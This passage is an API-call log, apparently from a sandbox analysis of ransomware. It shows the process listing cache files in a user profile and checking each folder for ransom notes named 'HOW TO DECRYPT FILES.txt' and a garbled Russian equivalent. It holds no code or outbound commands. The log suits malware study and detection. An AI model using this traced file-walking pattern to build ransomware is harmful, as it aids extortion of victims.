HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.061] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.061] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.061] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="23B523C9E7746F715D33C6527C18EB9D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D" [0087.062] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0087.062] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.062] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="3130B1871A126520A8C47861EFE3ED4D") returned 1 [0087.062] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="3130B1871A126520A8C47861EFE3ED4D") returned 1 [0087.062] lstrcmpiA (lpString1="", lpString2="3130B1871A126520A8C47861EFE3ED4D") returned -1 [0087.062] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="23B523C9E7746F715D33C6527C18EB9D" [0087.062] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.062] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.062] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.062] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.062] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="3130B1871A126520A8C47861EFE3ED4D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D" [0087.062] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0087.062] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.063] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 1 [0087.063] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned 1 [0087.063] lstrcmpiA (lpString1="", lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned -1 [0087.063] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3130B1871A126520A8C47861EFE3ED4D") returned="3130B1871A126520A8C47861EFE3ED4D" [0087.063] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.063] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.063] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.063] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.063] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" [0087.063] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0087.063] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.063] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 1 [0087.064] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned 1 [0087.064] lstrcmpiA (lpString1="", lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned -1 [0087.064] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D") returned="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D" [0087.064] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.064] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.064] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.064] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.064] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" [0087.064] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0087.064] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.064] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 1 [0087.064] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned 1 [0087.064] lstrcmpiA (lpString1="", lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned -1 [0087.065] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1") returned="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1" [0087.065] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.065] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.065] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.065] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.065] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" [0087.065] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0087.065] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.065] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 1 [0087.065] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned 1 [0087.065] lstrcmpiA (lpString1="", lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned -1 [0087.065] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398") returned="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398" [0087.065] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.065] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.066] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.066] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.066] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" [0087.066] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0087.066] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.066] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 1 [0087.066] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned 1 [0087.066] lstrcmpiA (lpString1="", lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned -1 [0087.066] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9") returned="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9" [0087.066] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.066] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="" [0087.066] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" [0087.066] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\cryptneturlcache\\metadata\\how to decrypt files.txt")) returned 0x2020 [0087.067] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\", lpString2="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" [0087.067] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0087.067] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.067] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 1 [0087.067] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned 1 [0087.067] lstrcmpiA (lpString1="", lpString2="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220") returned -1 [0087.067] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77") returned="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77" [0087.067] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\" [0087.067] PathAddBackslashA (in: 